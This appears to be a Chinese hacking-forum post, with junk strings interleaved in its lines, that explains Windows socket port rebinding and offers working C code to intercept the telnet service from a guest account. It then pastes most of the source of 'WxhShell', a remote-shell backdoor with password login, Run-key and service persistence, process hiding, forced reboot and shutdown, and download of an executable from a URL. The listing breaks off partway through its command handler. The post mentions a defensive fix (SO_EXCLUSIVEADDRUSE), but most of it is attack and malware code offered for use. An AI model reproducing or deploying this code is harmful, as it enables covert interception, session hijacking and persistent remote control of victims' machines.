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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HA3d9`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JO&+W^$uY}  
6kdcFcV-]  
  saddr.sin_family = AF_INET; KWH:tFL.  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d5qGTT ~a  
@K}Bll.E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I Ab-O  
RpU.v `  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mC./,a[  
xGt>X77  
  这意味着什么?意味着可以进行如下的攻击: %KW NY(m  
6}?5Oy_XF2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lh*!f$2 ~  
GUUd(xS {  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }/}eZCaG  
l#rr--];  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nD#uOep9  
RwDXOdgu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KKM!($A  
&f<Ltdw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `l+9g"q  
DUyUA'*4n|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x)-n[Fu  
e/F+Tf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6yhRcvJ}  
YbP}d&L  
  #include 9 N9Q#o$!.  
  #include JJu}Ed_  
  #include 0<42\ya  
  #include    t[X,m]SX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Wo<kKkx2  
  int main() 4\(|V fy  
  { Ls{]ohP  
  WORD wVersionRequested; SaiYdJ  
  DWORD ret; vKTCS  
  WSADATA wsaData; l8RKwECdPn  
  BOOL val; ?tf<AZ=+^L  
  SOCKADDR_IN saddr; {z7kW@c  
  SOCKADDR_IN scaddr; iS}~e{TP/  
  int err; E9:p A5H-j  
  SOCKET s; !l~3K(&4  
  SOCKET sc; NA9ss  
  int caddsize; <<+Hs/ ]  
  HANDLE mt; vff`Xh>k(  
  DWORD tid;   A&=`?4>  
  wVersionRequested = MAKEWORD( 2, 2 ); KhPDkD-  
  err = WSAStartup( wVersionRequested, &wsaData ); l#;o^H i  
  if ( err != 0 ) { ~ ]^<*R  
  printf("error!WSAStartup failed!\n"); ,=y8[(h  
  return -1; 9Q:}VpT~nG  
  } psB9~EU&Q  
  saddr.sin_family = AF_INET; &z%DX   
   BH^8!7dkT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x).`nZ1  
?Fj >7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3R ZD=`  
  saddr.sin_port = htons(23); &-4SA j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N="H 06t  
  { o]m56  
  printf("error!socket failed!\n"); HD9+4~8  
  return -1; 't un;Y  
  } >y^zagC*  
  val = TRUE; vAo|o *  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  iT&Y9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ol1P  
  { 7wwlZ;w  
  printf("error!setsockopt failed!\n"); j!hdi-aTU  
  return -1; a$h zG-  
  } ~Is-^k)y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e*jfxQ=qG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1[H1l;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WU<C7   
xgv&M:%D-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~h6aTN  
  { 3hbUus  
  ret=GetLastError(); `=rDB7!$yL  
  printf("error!bind failed!\n"); y/yg-\/XF  
  return -1; o9L$B  
  } ,.PmH.zjmR  
  listen(s,2); fDIKR[B  
  while(1) _#rE6./@q  
  { =9'px3:'WR  
  caddsize = sizeof(scaddr); ck\gazo~q  
  //接受连接请求 {\zB'SNq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _ ^cFdP)8|  
  if(sc!=INVALID_SOCKET) =K\.YKT  
  { #Yr/GNN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /\|AHM  
  if(mt==NULL) lpHz*NZ0  
  { iH[ .u{h  
  printf("Thread Creat Failed!\n"); g$$j:U*-  
  break; b~<Tgo_/jf  
  } W! q-WU  
  } 1 !`B8y)  
  CloseHandle(mt); !$|h[ct  
  } J|GEt@o3  
  closesocket(s); NamO5(1C  
  WSACleanup(); %44Z7  
  return 0; @-F[3`HeA  
  }   >Lr ud{  
  DWORD WINAPI ClientThread(LPVOID lpParam) "=ogO/_Q"  
  { CH3bpZv  
  SOCKET ss = (SOCKET)lpParam; e#j kp'  
  SOCKET sc; U6Ws#e  
  unsigned char buf[4096]; G0VbW-`O  
  SOCKADDR_IN saddr; \ :D'u<8E  
  long num; o\7q!  
  DWORD val; |37y ="  
  DWORD ret; H(k-jAO,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :UdH}u!Ek  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6}9`z8  
  saddr.sin_family = AF_INET; *)4 `"D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `lA[-x~  
  saddr.sin_port = htons(23); m^rrbU+HM?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QN$Ac.F  
  { 1}"PLq(  
  printf("error!socket failed!\n"); +rA:/!b)Y  
  return -1; :Z'q1kW@"  
  } `zZGL&9m`  
  val = 100; !c3li .  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r=o\!sh[  
  { >u)DuZXj  
  ret = GetLastError(); }qhNz0*  
  return -1; WOaj_o  
  } 5o dtYI%L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jJfV_#'N'  
  { 0`L>t  
  ret = GetLastError(); `aw5"ns^V  
  return -1; )5(Ko <"  
  } .oR_r1\y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x\m?*5p  
  { !e"TWO*X  
  printf("error!socket connect failed!\n"); a'pJg<  
  closesocket(sc); W7ffdODb  
  closesocket(ss); R6KS&Ge_  
  return -1; H#+?)<UQ  
  } PN&;3z Z  
  while(1) gU^2;C  
  { 'Oe}Ja  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i[wEH1jR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +UTs2*H/^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?TXe.h|u  
  num = recv(ss,buf,4096,0); w[V71Iej  
  if(num>0) a.5^zq7#!  
  send(sc,buf,num,0); 5yhfCe m|  
  else if(num==0) N))G/m3  
  break; YdI&OzaroE  
  num = recv(sc,buf,4096,0); u0vq`5L  
  if(num>0) 9se ,c  
  send(ss,buf,num,0); jPjFp35;zb  
  else if(num==0) wv eej@zs  
  break; %HNe"7gk  
  } -brn&1oJ  
  closesocket(ss); 8@f=GJf  
  closesocket(sc); =n}+p>\s  
  return 0 ; w53+k\.  
  } dt efDsK  
u\JYxNj1  
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========================================================== y^SDt3Am  
xfE:r:  
下边附上一个代码,,WXhSHELL a_pNFe  
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========================================================== 5ecAev^1-  
V_SZp8  
#include "stdafx.h" ezC2E/#  
iA^GA8dn  
#include <stdio.h> n;eK2+}]  
#include <string.h> "[*W=6m0  
#include <windows.h> G%V*+Ond  
#include <winsock2.h> <L72nwcK  
#include <winsvc.h> k3/V$*i,1b  
#include <urlmon.h> c%|18dV  
-<'&"-  
#pragma comment (lib, "Ws2_32.lib") !H5r+%Oo|  
#pragma comment (lib, "urlmon.lib") F`3J=AJOJ  
q0oNRAvn"  
#define MAX_USER   100 // 最大客户端连接数 :d7tzYT ^  
#define BUF_SOCK   200 // sock buffer 5jpb`Axj#  
#define KEY_BUFF   255 // 输入 buffer d0`5zd@S  
Z?vbe}pUM  
#define REBOOT     0   // 重启 "uz}`G~O  
#define SHUTDOWN   1   // 关机 .[ Z<r>  
;n9r;$!f  
#define DEF_PORT   5000 // 监听端口 Puu O2TZ  
k-v@sb24_  
#define REG_LEN     16   // 注册表键长度 ,~!rn}MI<  
#define SVC_LEN     80   // NT服务名长度 v\Y362Xv  
G|Du/XYh  
// 从dll定义API eQ}o;vJN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )V}u}5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YlZe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8h&Ed=gi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v.08,P{b  
Hw1<! Dyv  
// wxhshell配置信息 )$*T>.JA  
struct WSCFG { X0=#e54  
  int ws_port;         // 监听端口 9` /\|t|V  
  char ws_passstr[REG_LEN]; // 口令 '$]u?m  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z2yZz:.'  
  char ws_regname[REG_LEN]; // 注册表键名 p&nIUx"  
  char ws_svcname[REG_LEN]; // 服务名 +v 9@du  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /$7_*4e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y5}<7s\UDO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?mK`Wleh?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no , qj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UIUCj8QJg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `7|\Gqy  
+gG6(7&+=  
}; R "S,&  
+H[G D!  
// default Wxhshell configuration ]%yph3C  
struct WSCFG wscfg={DEF_PORT, TSQ/{=r  
    "xuhuanlingzhe", :V>M{vd  
    1, By|y:  
    "Wxhshell", niZ/yW{w  
    "Wxhshell", *&b~cyC  
            "WxhShell Service", x0ZEVa0`4  
    "Wrsky Windows CmdShell Service", "#T3l^@  
    "Please Input Your Password: ", \:cr2w'c  
  1, (fc /"B-  
  "http://www.wrsky.com/wxhshell.exe", 6m_whGosi  
  "Wxhshell.exe" rBv  
    }; O]OZt,k(  
<lHelX=/  
// 消息定义模块 $V$|"KRcs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c;w%R8z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <<@vy{*Hg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]XX8l:+  
char *msg_ws_ext="\n\rExit."; PTfy#  
char *msg_ws_end="\n\rQuit."; -G<$wh9~3  
char *msg_ws_boot="\n\rReboot..."; ;~Eb Q  
char *msg_ws_poff="\n\rShutdown..."; Jsee8^_~  
char *msg_ws_down="\n\rSave to "; p&w XRI  
|];s[^$#  
char *msg_ws_err="\n\rErr!"; }(AgXvRq  
char *msg_ws_ok="\n\rOK!"; $42C4I*E  
A&#P=m j  
char ExeFile[MAX_PATH]; zmf`}j[  
int nUser = 0; 38IVSK_  
HANDLE handles[MAX_USER]; YKwej@9,  
int OsIsNt; ^ q]BCOfJ(  
$QQv$  
SERVICE_STATUS       serviceStatus; e[fzy0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IxwOzpr  
HH[b1z2D  
// 函数声明 Ea@N:t?(8=  
int Install(void); eR.ucTji  
int Uninstall(void); Km2ppGLNn  
int DownloadFile(char *sURL, SOCKET wsh); ?pdvFM  
int Boot(int flag); CybHr#LBc  
void HideProc(void); zR2'xE*  
int GetOsVer(void); ,?;q$Xoi  
int Wxhshell(SOCKET wsl); @; ayl  
void TalkWithClient(void *cs); \HFeEEKH  
int CmdShell(SOCKET sock); yyJ4r}TE  
int StartFromService(void); $a(EF 6  
int StartWxhshell(LPSTR lpCmdLine); lJ!+n<K+  
iivuH2/~?[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H"W%+{AR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L 0k K'n?  
` INcZr"  
// 数据结构和表定义 Hw8`/'M=%5  
SERVICE_TABLE_ENTRY DispatchTable[] = Wd'wL"6De  
{ TCJH^gDt  
{wscfg.ws_svcname, NTServiceMain}, O#Ab1FQn  
{NULL, NULL} Ie>)U)/$  
}; P`wp`HI  
e"^* ~'mJ  
// 自我安装 j;eR9jI$T  
int Install(void) R?g qPi-  
{ 3X,9K23T  
  char svExeFile[MAX_PATH]; I3o6ym-i  
  HKEY key; B3uv>\  
  strcpy(svExeFile,ExeFile); {'8a' 9\  
@qH{;  
// 如果是win9x系统,修改注册表设为自启动 'Syq!=,  
if(!OsIsNt) { %76N$`{u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :M(%sv</  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i[)H!%RV*  
  RegCloseKey(key); Qy |*[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { niY9`8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a2 fV0d6*l  
  RegCloseKey(key); bJ~]nj 3  
  return 0; jLc4D'  
    } 8E1swH5 z  
  } n?vrsqmZ  
} nE)?P*$3Z  
else { tn201TDZ]=  
:a(er'A  
// 如果是NT以上系统,安装为系统服务 >[B[Q_})  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4)ez0[i$X  
if (schSCManager!=0) *KSQ^.sYh  
{ /,A:HM>B  
  SC_HANDLE schService = CreateService <<K GS  
  ( ve_TpP  
  schSCManager, "<x%kD  
  wscfg.ws_svcname, d(zBd=;  
  wscfg.ws_svcdisp, n%? bMDS  
  SERVICE_ALL_ACCESS, d4F3!*@(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sF}T9 Ue  
  SERVICE_AUTO_START, sEq_K#n{  
  SERVICE_ERROR_NORMAL, p7}x gUxX  
  svExeFile, z/aZD\[_  
  NULL, , }O>,AU  
  NULL, sI/Jhw)  
  NULL, |]sh*<:?,  
  NULL, <[Ae 0UK  
  NULL E9t[Mb %0  
  ); _v:t$k#sN  
  if (schService!=0) ` WIv|S  
  { \wqi_[A  
  CloseServiceHandle(schService); wB}s>o\  
  CloseServiceHandle(schSCManager); [f,; +Ze  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F Cg{!h  
  strcat(svExeFile,wscfg.ws_svcname); &=y)C/u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VeidB!GyP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =B_vQJF2  
  RegCloseKey(key); < I[ Vv'x  
  return 0; `Et)@{iP  
    } |u{NM1,  
  } &u0JzK  
  CloseServiceHandle(schSCManager); < TJzp  
} XOK.E&eilj  
} FjD`bhw-  
5SKj% %B2,  
return 1; Ge=+ 0W)&  
} G$&SlJZEk  
Y S )Q#fP  
// 自我卸载 "HSAwe`5jU  
int Uninstall(void) uc4#giCD  
{ v {E~R  
  HKEY key; ;2 -%IA,  
57*`y'C W  
if(!OsIsNt) { n 5h4]u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v?Q&06PMRc  
  RegDeleteValue(key,wscfg.ws_regname); gwwYz]'d>r  
  RegCloseKey(key); V'y,{YpP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^F/gJ3_;  
  RegDeleteValue(key,wscfg.ws_regname); S?n,O+q  
  RegCloseKey(key);  >sk vg  
  return 0; jA9&hbQuL  
  } J+ tpBPmb  
} x`/"1]Nf  
} f&x7g.I  
else { >.^/Z/[.L  
4,kdP)Md$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @*kQZRGK7  
if (schSCManager!=0) $A"C1)d;  
{ \=3V]7\&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kppi N+||  
  if (schService!=0) M{:}.H<a  
  { rbfP6t:c3  
  if(DeleteService(schService)!=0) { >;I$&  
  CloseServiceHandle(schService); 8bT]NvCA  
  CloseServiceHandle(schSCManager); p2Yc:9r9+A  
  return 0; q5<'pi   
  } M}Sn$h_  
  CloseServiceHandle(schService); xx[XwN;  
  } Pyfj[m4+}  
  CloseServiceHandle(schSCManager); H4l*  
} ! *Snx  
} >9F&x>~  
?Ybgzb  
return 1;  {*!L[)  
} WBcnE( zF  
P_Rh& gkuK  
// 从指定url下载文件 `<}Q4p  
int DownloadFile(char *sURL, SOCKET wsh) BllS3I}V  
{ l\+^.ezD  
  HRESULT hr; PtP{_9%Dz  
char seps[]= "/"; c;X8: Z=ja  
char *token; %NH#8#';2  
char *file; BCy# Td  
char myURL[MAX_PATH]; ']]C zze  
char myFILE[MAX_PATH]; =gSa?pd  
%+BiN)R*x  
strcpy(myURL,sURL); _Z9HOl@  
  token=strtok(myURL,seps); >J4Tk1//b  
  while(token!=NULL) t}$WP&XRG<  
  { cOz8YVR-  
    file=token; D}.Pk>5  
  token=strtok(NULL,seps); OFcL h  
  } =~qQ?;o n  
.K I6<k/  
GetCurrentDirectory(MAX_PATH,myFILE); K=S-p3\g  
strcat(myFILE, "\\"); \PHbJN:BI  
strcat(myFILE, file); Q7V*~{  
  send(wsh,myFILE,strlen(myFILE),0); Pn&!C*,  
send(wsh,"...",3,0); F@4TD]E0^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G3Z>,"w;=  
  if(hr==S_OK) {0~ Sj%Ze  
return 0; suo;+T=`I  
else hrT!S  
return 1; |r|<cc#  
r .&<~x  
} aHhr_.>X  
kMJf!%L(  
// 系统电源模块 }MW7,F  
int Boot(int flag) $_ &Lp\  
{ ;_bZH%o.  
  HANDLE hToken; ,}8|[)"  
  TOKEN_PRIVILEGES tkp; B<V8:vOam  
)R~l@QBN  
  if(OsIsNt) { r2t|,%%N7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vn7FbaO^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y! 8 I  
    tkp.PrivilegeCount = 1; qwf97pg$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; seNJ6p=`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pUp&eH  
if(flag==REBOOT) { "W"2 Y(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Un~ }M/  
  return 0; 6ct'O**k*&  
} ff{ L=uj  
else { goJK~d8M*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -gq,^j5,  
  return 0; -g5o+RT@  
} { /u}  
  } #8{U0 7]"  
  else { :gwM$2vv  
if(flag==REBOOT) { >GV(\In  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G (Ky7S Z  
  return 0; REK(^1 h  
} n7>L&?N#y#  
else { EFk9G2@_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j0X Jf<  
  return 0; m-wK8]t9  
} Ra!Br6  
} Y8s.Q  
y\C_HCU H  
return 1; 4?u<i=i  
} 9w"kxAN  
Vw@?t(l>  
// win9x进程隐藏模块 h!zev~u1)`  
void HideProc(void) o<\u Hr3  
{ Y}n$s/O:u8  
flXDGoW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O8mmS!  
  if ( hKernel != NULL ) dEvjB"x  
  { NB.s2I7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BYKONZu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S=^kR [O"  
    FreeLibrary(hKernel); \'>ZU-V  
  } tD j/!L`  
N!Cy)HnS\w  
return; `0z8J*T]  
} X$0&tmum  
QI WfGVc-  
// 获取操作系统版本 <l`xP)] X  
int GetOsVer(void) -|WQs'%O  
{ 7lH.>n  
  OSVERSIONINFO winfo; vFx0B?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `iQ9 9  
  GetVersionEx(&winfo); >S[NI<=8S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h3YWqSj  
  return 1; huTWoMU  
  else 0Q)m>oL.  
  return 0; 2l.qINyz  
} ]7/6u.G7R  
Q^@z]Sc[  
// 客户端句柄模块 iAn]hVW  
int Wxhshell(SOCKET wsl) Kd|@  
{ =K8z8K?  
  SOCKET wsh; c>)_I  
  struct sockaddr_in client; [:"7B&&A  
  DWORD myID; C#tY};t  
 jT$  
  while(nUser<MAX_USER) a bw7{%2  
{ %1UdG6&J_  
  int nSize=sizeof(client); CS\T@)@t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uk<JV*R=  
  if(wsh==INVALID_SOCKET) return 1; v$]eCj'  
fZNWJo# `.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); --BS/L-  
if(handles[nUser]==0) 3OvQ,^[J4  
  closesocket(wsh); /xh/M@G3  
else Bf+7;4-  
  nUser++; Cj3C%W  
  } _gn`Y(c$%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =H)"t:xE  
f~-Ipq;F  
  return 0; 89+Q^79m  
} >u/ T`$  
tv\_& ({  
// 关闭 socket 0$1-5XY9  
void CloseIt(SOCKET wsh) $9PscubM4  
{ qrt2BT)  
closesocket(wsh); [~U CYYl  
nUser--; ^wTod\y  
ExitThread(0); (N/KP+J$n  
} T$vDw|KSVP  
E@N& Y1t  
// 客户端请求句柄 uYy&<_r  
void TalkWithClient(void *cs) Api<q2@R  
{ TD6MP9L  
1_V',0|`>  
  SOCKET wsh=(SOCKET)cs; "4[8pZO/  
  char pwd[SVC_LEN]; JR^#NefJ  
  char cmd[KEY_BUFF]; n[tES6u  
char chr[1]; }Gi4`Es  
int i,j; e 0cVg  
Kjfpq!NYE  
  while (nUser < MAX_USER) { u~\I  
~uRL+<.c  
if(wscfg.ws_passstr) { C[IY9s:Pf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ML-?#jNa<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]O1}q!s   
  //ZeroMemory(pwd,KEY_BUFF); SZ3UR  
      i=0; KDEcR  
  while(i<SVC_LEN) { N}5'Hk4+  
b@  S.  
  // 设置超时 aZBb@~Y  
  fd_set FdRead; 1?hx/02  
  struct timeval TimeOut; 4 /Q4sE~<  
  FD_ZERO(&FdRead); [r f.&  
  FD_SET(wsh,&FdRead); Trz41g  
  TimeOut.tv_sec=8; Y}UVC|Ef  
  TimeOut.tv_usec=0; _DAj$$ Ru4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F* h\#?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `%nj$-W:  
=&YhA}l\O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E whCX'Vaj  
  pwd=chr[0]; Qqn9nO9  
  if(chr[0]==0xd || chr[0]==0xa) { RhQ[hI  
  pwd=0; X^c2  
  break; 7v{s?h->$  
  } 3sF^6<E  
  i++; 5*P+c(=  
    } zc#$hIi  
y3{ F\K  
  // 如果是非法用户,关闭 socket )Z qY`by!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *%;+3SV  
} 4Ow0g-{  
~f5g\n;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w0(1o_F7.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _dk/SWb)  
~P;KO40K  
while(1) { k/]4L!/ T  
 66 @#V  
  ZeroMemory(cmd,KEY_BUFF); G,fh/E+  
l Taw6;  
      // 自动支持客户端 telnet标准   _Cnl|'  
  j=0; ]sL)[o  
  while(j<KEY_BUFF) { !gbPxfH:6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v62O+{  
  cmd[j]=chr[0]; Z?"f#  
  if(chr[0]==0xa || chr[0]==0xd) { RW I7eC  
  cmd[j]=0; ?vn9HhTD  
  break; HJ^SqSm  
  } .XTR HL*:  
  j++; wR]jJb F  
    } nEgDwJ<wl  
, tb\^  
  // 下载文件 kACgP!~/1  
  if(strstr(cmd,"http://")) { qGVf! R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y5,[udF:O  
  if(DownloadFile(cmd,wsh)) Md[M}d8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6)j4-  
  else oQ:.pq{T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mtd ,m  
  } SR8)4:aKW  
  else { 6>=yX6U1q^  
x,81#=m^h  
    switch(cmd[0]) { ~4^~w#R  
  lC8Z@wkjO  
  // 帮助 bpgvLZb>s  
  case '?': { [Rxbb+,U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); orON)S ks  
    break; ,*MA teD  
  } K6d2}!5  
  // 安装 0* ^>/*  
  case 'i': { 19j"Zxdg Y  
    if(Install()) v1O1-aM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^I y'G44  
    else )sZJH9[K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9,c_(%C  
    break; 7U647G(Sg  
    } @ Cd#\D|  
  // 卸载 KBOp}MEz  
  case 'r': { %iR"eEE  
    if(Uninstall()) -\[H>)z]RB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1tIJ'#6  
    else pt$\pQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ek6z[G` O  
    break; i@m@]-2  
    } N3(.7mxo  
  // 显示 wxhshell 所在路径 Aw$+Ew[8 2  
  case 'p': { yQ!I`T>a  
    char svExeFile[MAX_PATH]; \)`OEGdOR\  
    strcpy(svExeFile,"\n\r"); ItD&L ))  
      strcat(svExeFile,ExeFile); ?Gqq]ozm  
        send(wsh,svExeFile,strlen(svExeFile),0); 1Eh6ti  
    break; V jLv{f<p  
    } /Os6i&;  
  // 重启 6^e}^~|  
  case 'b': { ,n3e8qd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2!Qg1hM  
    if(Boot(REBOOT)) [9^lAhX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|+TgOYOc  
    else { \2))c@@%  
    closesocket(wsh); }0V aZ<j  
    ExitThread(0); gY&WH9sp?9  
    } bRD-[)  
    break; $1 t IC_  
    } ub;:"ns}  
  // 关机 p""\uG'  
  case 'd': { 7epil  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > JC"YB  
